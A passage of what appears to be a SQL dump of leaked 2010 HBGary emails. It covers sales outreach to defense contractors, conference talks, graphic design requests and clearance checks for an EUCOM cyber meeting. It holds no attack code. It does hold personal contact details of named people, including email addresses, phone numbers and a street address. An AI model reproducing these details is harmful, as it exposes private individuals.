talk and also for a keynote panel.  While I have tried to get some input from all of you to help me, in the end I still don\'t have something that is working out.\r\n>\r\n> I do have an existing talk, the one I am giving at Blackhat, which could be pitched.  It would be fine, and updated in some manner or another, for RSA.\r\n>\r\n> The threat intel stuff isn\'t gelled - and to really do a good low level talk, would require commititng HBGary to a number of activities.  As a high level talk it just sounds like everybody else\'s \"cyber threat and doom\" talk - I can\'t make it stand out from the rest of the bullshit.\r\n>\r\n> As for the keynote panel, I just don\'t have any ideas on what it could be on.\r\n>\r\n> -Greg\r\n',6308,'aaron_hbgary_com/6308.html'),(8591,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006619.M162468P14101Q3446.eml','\"John Verducci\" <john@studioem.com>','Re: 3 graphic requests to follow','Can I give u a call?\r\n\r\nSent from my iPad\r\n\r\nOn Jul 14, 2010, at 7:30 PM, John Verducci  wrote:\r\n\r\n> Thanks Penny.\r\n>\r\n> Aaron - let me know what you need on these.\r\n>\r\n> Thanks\r\n>\r\n> John\r\n>\r\n>\r\n>\r\n> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>\r\n>> Aaron, you\'ll have to explain to John what you want, what you sent doesn\'t\r\n>> make sense to me\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>> To: Penny Leavy\r\n>> Subject: 3 graphic requests to follow\r\n>>\r\n>> First one is the top image for the datasheet.  You can download the icons at\r\n>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>> /\r\n>> I would like the HBGary logo to stand out but fit in the grunge style.  2\r\n>> more requests to follow.\r\n>>\r\n>> I would use the following ones:\r\n>> blogger\r\n>> digg\r\n>> facebook\r\n>> flickr\r\n>> google\r\n>> hi5\r\n>> linkedin\r\n>> myspace\r\n>> orkut\r\n>> reddit\r\n>> skype\r\n>> technorati\r\n>> twitter\r\n>> wordpress\r\n>> yahoo\r\n>> youtube\r\n>> yelp\r\n>>\r\n>> \r\n>\r\n>\r\n> ______________________\r\n>\r\n> John Verducci\r\n> Studio Em Graphic Design\r\n>\r\n> 974 Yorkshire Drive\r\n> Los Altos, California 94024\r\n>\r\n> 650.962.9200 Direct\r\n> 650.961.8801 Fax\r\n>\r\n>\r\n>\r\n>\r\n',1798,'aaron_hbgary_com/1798.html'),(8592,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006619.M409262P14101Q3447.eml','dale.graham@ngc.com,dale.graham@ngc.com','Teleconference and demos','Hi Dale,\r\n\r\nTed told me he had an email exchange a few days ago and were\r\ninterested in getting an update on hbgary technologies and\r\ninitiatives.  Since i am local i thought i would pick up the\r\nconversation.  Ted mentioned you have some near term time constraints\r\nand that we should start with a phone conversation and go from there.\r\nHow about a 1hr webex where we can go over the active defense and tmc\r\nproducts.\r\n\r\nBtw, i was out at inscom a few weeks ago talking about social media\r\nand their needs/anxieties and our capabilities.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',15376,'aaron_hbgary_com/15376.html'),(8593,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006619.M627258P14101Q3448.eml','\"Robert Frizzelle\" <rfrizzelle@csc.com>,\"Robert Frizzelle\" <rfrizzelle@csc.com>','Consulting','Hi Bob,\r\n\r\nDo you or your group have any interest in consulting service for a\r\nshort time?  Reason i ask is we have some technologies that i think\r\nwill be key discriminators but i need to free up some cash to help\r\nbuild those and the biggest expense in our small company right now is\r\nmy salary. :). So after complete disclosure, i thought their might be\r\nsome interest in me helping a bit on the cyber strategy side.  If not\r\nthat\'s ok still interested in talking with you about social media and\r\norganizational exposure.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',9837,'aaron_hbgary_com/9837.html'),(8594,'2010-07-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006621.M508553P14101Q3449.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Tue)','Interesting read Malware support is BETTER than software support\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Wednesday, July 14, 2010 11:30 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\nToday\'s articles:\r\n\r\n*       Spammers made June \'Month of Malware\'\r\n\r\n*       Apple ranks first in surging security bug count\r\n\r\n*       Stealthy, sophisticated technology threats are rampant \r\n\r\n*       Malware Support Even Better than Security Vendors\r\n\r\n*       Metasploit Framework 3.4.1 \r\n\r\n*       Scammers targeting families of U.S. soldiers in Iraq\r\n\r\n*       Accused AT&T Hacker Says He Committed No Crime\r\n\r\n*       Employees bypass security roadblocks to engage in social\r\nnetworking\r\n\r\n*       IT Security\'s Most Time-Consuming Tasks\r\n\r\n',11527,'aaron_hbgary_com/11527.html'),(8595,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006621.M869335P14101Q3450.eml','\"Mark Leary\" <mark.leary@ngc.com>','Active defense and tmc.','Hey mark,\r\n\r\nFirst question how are you doing?  You had a small run of medical set\r\nbacks last we talked.  So on top of wondering how you\'re doing.  I\r\nwould like to set up a meeting or webex to show you our active defense\r\nsoftware for enterprise malware detection and the tmc, our volume\r\nmalware processor and see what you think.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',14411,'aaron_hbgary_com/14411.html'),(8596,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006622.M427984P14101Q3451.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Active defense and tmc.','Sent from my iPadBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: July 15, 2010 1:56:09 PM EDTTo: Mark Leary &lt;mark.leary@ngc.com&gt;Subject: Active defense and tmc.\r\nHey mark,First question how are you doing?  You had a small run of medical setbacks last we talked.  So on top of wondering how you&#39;re doing.  I\r\nwould like to set up a meeting or webex to show you our active defensesoftware for enterprise malware detection and the tmc, our volumemalware processor and see what you think.\r\nAaronSent from my iPad\r\n',16821,'aaron_hbgary_com/16821.html'),(8597,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006622.M655390P14101Q3452.eml','robert.frisbie@mantech.com,\"Eric Eifert\" <eric.eifert@mantech.com>','Asteroid','You guys are currently sub on a program called cosmic for arstrat.\r\nThere is a new contract coming up called asteroid.  Are you still\r\nstaying sub to bae or thinking of priming?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',6160,'aaron_hbgary_com/6160.html'),(8598,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006622.M888710P14101Q3453.eml','\"Robert Frizzelle\" <rfrizzelle@csc.com>','Asteroid','Hi bob,\r\n\r\nThere is a currently contract for arstrat called cosmic but a new\r\ncontract coming called asteroid a bae is the incumbent.  I am just\r\nwondering if this is something you guys are chasing at all?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',7446,'aaron_hbgary_com/7446.html'),(8599,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006623.M139389P14101Q3454.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Asteroid','Sent from my iPadBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: July 15, 2010 2:11:40 PM EDTTo: &quot;robert.frisbie@mantech.com&quot; &lt;robert.frisbie@mantech.com&gt;, Eric Eifert &lt;eric.eifert@mantech.com&gt;\r\nSubject: AsteroidYou guys are currently sub on a program called cosmic for arstrat.There is a new contract coming up called asteroid.  Are you still\r\nstaying sub to bae or thinking of priming?AaronSent from my iPad\r\n',4101,'aaron_hbgary_com/4101.html'),(8600,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006623.M478668P14101Q3455.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Asteroid','Sent from my iPadBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: July 15, 2010 2:13:14 PM EDTTo: Robert Frizzelle &lt;rfrizzelle@csc.com&gt;Subject: Asteroid\r\nHi bob,There is a currently contract for arstrat called cosmic but a newcontract coming called asteroid a bae is the incumbent.  I am justwondering if this is something you guys are chasing at all?\r\nAaronSent from my iPad\r\n',4792,'aaron_hbgary_com/4792.html'),(8601,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006623.M706391P14101Q3456.eml','\"Tubbs, Gregory [Ctr]\" <tubbsg@atac.mil>,\"Tubbs, Gregory [Ctr]\" <tubbsg@atac.mil>','Re: Invitation: Brian Hibbeln','Thanks for the invitation.  Looking forward to the conversation.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 13, 2010, at 2:51 PM, \"Tubbs, Gregory [Ctr]\"  wrote:\r\n\r\n> Aaron....I work with Brian Hibbeln.  We are hosting the EUCOM J39...COL Chuck Eassa, Thurs 15 July from 1600-1900.  Food will be provided so that we can talk uninterrupted.\r\n>\r\n> Chuck has CYBER, IO, IW and Space in his portfolio.\r\n>\r\n> Chucks overwhelming interest in this venue is CYBER.  EUCOM is considering a EUCOM CYBER conference for the fall.\r\n>\r\n> Many aspects of CYBER will be discussed, entire meeting will be hosted up to TS/SCI...with appropriate side bars, when appropriate.\r\n>\r\n> We think you will find it of interest.  Informal discussion of what matters to EUCOM.\r\n>\r\n> R/Greg\r\n',2390,'aaron_hbgary_com/2390.html'),(8602,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006624.M213562P14101Q3458.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,,,,','','Coin update.\r\n\r\nI had good conversations with Mary beth, John, and Marek today.  I\r\nchided them a bit for not getting the rfp out and they said it looks\r\nlike they will be able to get it out in august.  John is still very\r\ndissatisfied with current work and said they need some of the\r\ninnovation like they used to have.  :)\r\n\r\nWe talked a lot about mobile and social media and the quickly changing\r\nlandscape.\r\n\r\nBased on wonderful meetings yesterday and today and our strategy/team\r\ni think we are the team to beat.  I talked to John about general\r\ncapabilities I think his shop needs and he agreed.  This fits right in\r\nour strategy.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',1604,'aaron_hbgary_com/1604.html'),(8603,'2010-07-15','\"Tubbs, Gregory [Ctr]\" <tubbsg@atac.mil>','/aaron@hbgary.com/new/1297006624.M2788P14101Q3457.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Invitation: Brian Hibbeln','Aaron....I presume you have clearances.  Please have your folks coordinate with our SMO for visitation rights to our facility.\r\n\r\nOur SMO is Chris Shears, on cc line.\r\n\r\nR/Greg\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 2:15 PM\r\nTo: Tubbs, Gregory [Ctr]\r\nCc: Hibbeln, Brian, Mr, OSD-ATL\r\nSubject: Re: Invitation: Brian Hibbeln\r\n\r\nThanks for the invitation.  Looking forward to the conversation.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 13, 2010, at 2:51 PM, \"Tubbs, Gregory [Ctr]\"  wrote:\r\n\r\n> Aaron....I work with Brian Hibbeln.  We are hosting the EUCOM J39...COL Chuck Eassa, Thurs 15 July from 1600-1900.  Food will be provided so that we can talk uninterrupted.\r\n>\r\n> Chuck has CYBER, IO, IW and Space in his portfolio.\r\n>\r\n> Chucks overwhelming interest in this venue is CYBER.  EUCOM is considering a EUCOM CYBER conference for the fall.\r\n>\r\n> Many aspects of CYBER will be discussed, entire meeting will be hosted up to TS/SCI...with appropriate side bars, when appropriate.\r\n>\r\n> We think you will find it of interest.  Informal discussion of what matters to EUCOM.\r\n>\r\n> R/Greg\r\n',6445,'aaron_hbgary_com/6445.html'),(8604,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006624.M487654P14101Q3459.eml','\"Tubbs, Gregory [Ctr]\" <tubbsg@atac.mil>,\"Tubbs, Gregory [Ctr]\" <tubbsg@atac.mil>','Re: Invitation: Brian Hibbeln','Sure thing.  I have a 1 yr visit cert on file but I will double check.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 15, 2010, at 2:18 PM, \"Tubbs, Gregory [Ctr]\"  wrote:\r\n\r\n> Aaron....I presume you have clearances.  Please have your folks coordinate with our SMO for visitation rights to our facility.\r\n>\r\n> Our SMO is Chris Shears, on cc line.\r\n>\r\n> R/Greg\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, July 15, 2010 2:15 PM\r\n> To: Tubbs, Gregory [Ctr]\r\n> Cc: Hibbeln, Brian, Mr, OSD-ATL\r\n> Subject: Re: Invitation: Brian Hibbeln\r\n>\r\n> Thanks for the invitation.  Looking forward to the conversation.\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jul 13, 2010, at 2:51 PM, \"Tubbs, Gregory [Ctr]\"  wrote:\r\n>\r\n>> Aaron....I work with Brian Hibbeln.  We are hosting the EUCOM J39...COL Chuck Eassa, Thurs 15 July from 1600-1900.  Food will be provided so that we can talk uninterrupted.\r\n>>\r\n>> Chuck has CYBER, IO, IW and Space in his portfolio.\r\n>>\r\n>> Chucks overwhelming interest in this venue is CYBER.  EUCOM is considering a EUCOM CYBER conference for the fall.\r\n>>\r\n>> Many aspects of CYBER will be discussed, entire meeting will be hosted up to TS/SCI...with appropriate side bars, when appropriate.\r\n>>\r\n>> We think you will find it of interest.  Informal discussion of what matters to EUCOM.\r\n>>\r\n>> R/Greg\r\n',16074,'aaron_hbgary_com/16074.html'),(8605,'2010-07-15','\"John Verducci\" <john@studioem.com>','/aaron@hbgary.com/new/1297006624.M706008P14101Q3460.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 3 graphic requests to follow','Hi Aaron,\r\n\r\nAbout to go into a meeting.\r\n\r\nGive me a call sometime this afternoon at 650-962-9200.\r\n\r\nThanks\r\n\r\nJohn\r\n\r\n\r\n\r\nOn Jul 15, 2010, at 10:39 AM, Aaron Barr wrote:\r\n\r\n> Can I give u a call?\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jul 14, 2010, at 7:30 PM, John Verducci  wrote:\r\n>\r\n>> Thanks Penny.\r\n>>\r\n>> Aaron - let me know what you need on these.\r\n>>\r\n>> Thanks\r\n>>\r\n>> John\r\n>>\r\n>>\r\n>>\r\n>> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>>\r\n>>> Aaron, you\'ll have to explain to John what you want, what you sent  \r\n>>> doesn\'t\r\n>>> make sense to me\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>>> To: Penny Leavy\r\n>>> Subject: 3 graphic requests to follow\r\n>>>\r\n>>> First one is the top image for the datasheet.  You can download  \r\n>>> the icons at\r\n>>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>>> /\r\n>>> I would like the HBGary logo to stand out but fit in the grunge  \r\n>>> style.  2\r\n>>> more requests to follow.\r\n>>>\r\n>>> I would use the following ones:\r\n>>> blogger\r\n>>> digg\r\n>>> facebook\r\n>>> flickr\r\n>>> google\r\n>>> hi5\r\n>>> linkedin\r\n>>> myspace\r\n>>> orkut\r\n>>> reddit\r\n>>> skype\r\n>>> technorati\r\n>>> twitter\r\n>>> wordpress\r\n>>> yahoo\r\n>>> youtube\r\n>>> yelp\r\n>>>\r\n>>> \r\n>>\r\n>>\r\n>> ______________________\r\n>>\r\n>> John Verducci\r\n>> Studio Em Graphic Design\r\n>>\r\n>> 974 Yorkshire Drive\r\n>> Los Altos, California 94024\r\n>>\r\n>> 650.962.9200 Direct\r\n>> 650.961.8801 Fax\r\n>>\r\n>>\r\n>>\r\n>>\r\n\r\n\r\n______________________\r\n\r\nJohn Verducci\r\nStudio Em Graphic Design\r\n\r\n974 Yorkshire Drive\r\nLos Altos, California 94024\r\n\r\n650.962.9200 Direct\r\n650.961.8801 Fax\r\n\r\n\r\n\r\n\r\n',11167,'aaron_hbgary_com/11167.html'),(8606,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006624.M920495P14101Q3461.eml','Christopher.Shears.CTR@osd.mil','Clearance','Hi chris,\r\n\r\nJust want to make sure my clearances are good fir this evenings event.\r\n\r\nAaron Barr\r\n\r\nSent from my iPad\r\n',11286,'aaron_hbgary_com/11286.html'),(8607,'2010-07-15','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297006625.M199563P14101Q3462.eml','aaron@hbgary.com,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,aaron@hbgary.com,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,,','Re: EXTERNAL:','\r\n\r\n\r\n\r\n\r\nRe: EXTERNAL:\r\n\r\n\r\n\r\n\r\nThanks Aaron. I will have some special insights on the social software owing to my work on the Intel Science Board study examining that.\r\nRay\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC); Garcia, Kathy (TASC); Ted Vera &lt;ted@hbgary.com&gt;\r\nSent: Thu Jul 15 13:25:15 2010\r\nSubject: EXTERNAL:\r\n\r\nCoin update.\r\n\r\nI had good conversations with Mary beth, John, and Marek today.&nbsp; I\r\nchided them a bit for not getting the rfp out and they said it looks\r\nlike they will be able to get it out in august.&nbsp; John is still very\r\ndissatisfied with current work and said they need some of the\r\ninnovation like they used to have.&nbsp; :)\r\n\r\nWe talked a lot about mobile and social media and the quickly changing\r\nlandscape.\r\n\r\nBased on wonderful meetings yesterday and today and our strategy/team\r\ni think we are the team to beat.&nbsp; I talked to John about general\r\ncapabilities I think his shop needs and he agreed.&nbsp; This fits right in\r\nour strategy.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n',9941,'aaron_hbgary_com/9941.html'),(8608,'2010-07-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006625.M596909P14101Q3463.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Consulting','Excellent -- can&#39;t hurt, and it could turn into something.TedOn Thu, Jul 15, 2010 at 11:52 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Bob,\r\n\r\nDo you or your group have any interest in consulting service for a\r\nshort time?  Reason i ask is we have some technologies that i think\r\nwill be key discriminators but i need to free up some cash to help\r\nbuild those and the biggest expense in our small company right now is\r\nmy salary. :). So after complete disclosure, i thought their might be\r\nsome interest in me helping a bit on the cyber strategy side.  If not\r\nthat&#39;s ok still interested in talking with you about social media and\r\norganizational exposure.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',12800,'aaron_hbgary_com/12800.html'),(8609,'2010-07-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006625.M840660P14101Q3464.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Update from Ted','---------- Forwarded message ----------From: Starkey, Billy (IS) &lt;billy.starkey@ngc.com&gt;\r\nDate: Thu, Jul 15, 2010 at 12:11 PMSubject: RE: Update from TedTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi, Ted… thanks for thinking to reach out to me!  It’s\r\nbeen some time since our Colo Spgs days with Bill Rohlman, hasn’t it? \r\nTime sure flies…\r\n\r\n \r\n\r\nFirst, congrats to both you and Aaron!  I hope you’re\r\nenjoying the thrill of “manning the wheel” and having the\r\nindependence that one cannot always experience with a larger company.  Wish\r\nyou the very best of luck.\r\n\r\n \r\n\r\nSecond, I’m no longer going to be a good point of contact at\r\nthe NG Cybersecurity Group, as of COB tomorrow.  Tomorrow (Fri, 16th)\r\nis my last day in this office.  I’m transitioning, and my replacement\r\nhas not yet been selected.  I’m going to be spending the next 9+\r\nmonths representing NG as one of nine Industry Fellows at the Industrial\r\nCollege of the Armed Forces (ICAF).  So excited.\r\n\r\n \r\n\r\nGoing to forward your white papers to our two lead Cyber\r\nTechnology directors, Dennis McCallam &amp; Dana Shafie.  Hopefully this\r\nprovides the initial contact that you were hoping to attain.\r\n\r\n \r\n\r\nAll the best… and please stay in touch,\r\n\r\nBilly (Sensei)\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nBilly L. B. Starkey\r\n\r\nDirector, Cybersecurity Advocacy\r\n\r\nNorthrop Grumman Corporation\r\n\r\n7575 Colshire Drive, 4265W\r\n\r\nMcLean VA 22102-7508\r\n\r\n \r\n\r\nInternet site:  http://www.northropgrumman.com/cybersecurity/\r\n\r\n\r\nBlackBerry:  703-635-5972\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, July 15, 2010 11:45 AM\r\nTo: Starkey, Billy (IS)\r\nSubject: EXTERNAL:Update from Ted\r\n\r\n\r\n\r\n \r\n\r\n\r\nHi Billy,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHow&#39;s it going?  I was just looking through your\r\nprofile in linked in and thought you might be interested in what I&#39;ve been up\r\nto for the last six months or so.  Aaron Barr and I left NG and now run a small software development and services company,\r\nHBGary.  We specialize in all things related to malware.  Greg\r\nHoglund is our CEO and founded the company in 2003.  Greg is an\r\naccomplished author, world recognized leader in rootkit technology and was\r\nrecently named one of &quot;10 hackers to know&quot; in Network Security\r\nmagazine.  We offer a number of Cyber services including malware reverse\r\nengineering, vulnerability research, exploit development, incident response,\r\npenetration testing, and digital forensics.  We also have a mature\r\nproduct-line of COTS which assist in accomplishing those tasks.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ve attached three whitepapers that I think you may find\r\ninteresting.  The first is our analysis of the Aurora attack, the second\r\nis a how-to guide for using our REcon product to develop software exploits, and\r\nthe third describes our latest Enterprise product, Active Defense.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIf you&#39;re interested, I&#39;d\r\nlove to have an opportunity to discuss capabilities and Cyber related business\r\ndevelopment opportunities.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWarm Regards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',3311,'aaron_hbgary_com/3311.html'),(8610,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006626.M350239P14101Q3466.eml','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,,,,','Re: EXTERNAL:','Great.I have a training course on information exposure and social reconnaisance capabilities related to social media that is almost done. &nbsp;This evolvedOut of a social media talk at NSA about a month ago that the conference coordinator said was one of the highlights of the conference. &nbsp;It\'s the new malware people just don\'t know it yet. &nbsp;I am calling it infoware.AaronSent from my iPhoneOn Jul 15, 2010, at 2:28 PM, \"Heider, Raymond A (TASC)\" &lt;raymond.heider@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\nThanks Aaron. I will have some special insights on the social software owing to my work on the Intel Science Board study examining that.\r\nRay\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC); Garcia, Kathy (TASC); Ted Vera &lt;ted@hbgary.com&gt;\r\nSent: Thu Jul 15 13:25:15 2010\r\nSubject: EXTERNAL:\r\n\r\nCoin update.\r\n\r\nI had good conversations with Mary beth, John, and Marek today.&nbsp; I\r\nchided them a bit for not getting the rfp out and they said it looks\r\nlike they will be able to get it out in august.&nbsp; John is still very\r\ndissatisfied with current work and said they need some of the\r\ninnovation like they used to have.&nbsp; :)\r\n\r\nWe talked a lot about mobile and social media and the quickly changing\r\nlandscape.\r\n\r\nBased on wonderful meetings yesterday and today and our strategy/team\r\ni think we are the team to beat.&nbsp; I talked to John about general\r\ncapabilities I think his shop needs and he agreed.&nbsp; This fits right in\r\nour strategy.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n',214,'aaron_hbgary_com/214.html'),(8611,'2010-07-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006626.M59868P14101Q3465.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Property','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we have any property we need to return for Task B?&nbsp; I\r\nknow they wanted us to take it as hours on the first portion\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13697,'aaron_hbgary_com/13697.html'),(8612,'2010-07-15','\"Robert L Frizzelle\" <rfrizzelle@csc.com>','/aaron@hbgary.com/new/1297006626.M687901P14101Q3467.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Consulting','Let me check.\r\nCheers,\r\nBob F\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: 07/15/2010 01:52 PM AST\r\nTo: Robert Frizzelle\r\nSubject: Consulting\r\n\r\n\r\n\r\nHi Bob,\r\n\r\nDo you or your group have any interest in consulting service for a\r\nshort time?  Reason i ask is we have some technologies that i think\r\nwill be key discriminators but i need to free up some cash to help\r\nbuild those and the biggest expense in our small company right now is\r\nmy salary. :). So after complete disclosure, i thought their might be\r\nsome interest in me helping a bit on the cyber strategy side.  If not\r\nthat\'s ok still interested in talking with you about social media and\r\norganizational exposure.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',3394,'aaron_hbgary_com/3394.html'),(8613,'2010-07-15','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297006626.M929189P14101Q3468.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,,','RE: EXTERNAL:','Aaron:\r\n\r\nThis is excellent news.\r\n\r\nAll - What progress has been made in identifying and capturing key folks\r\nthat are currently in place supporting the customer?\r\n\r\nThanks.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 2:25 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert A.\r\n(TASC); Garcia, Kathy (TASC); Ted Vera\r\nSubject: EXTERNAL:\r\n\r\nCoin update.\r\n\r\nI had good conversations with Mary beth, John, and Marek today.  I\r\nchided them a bit for not getting the rfp out and they said it looks\r\nlike they will be able to get it out in august.  John is still very\r\ndissatisfied with current work and said they need some of 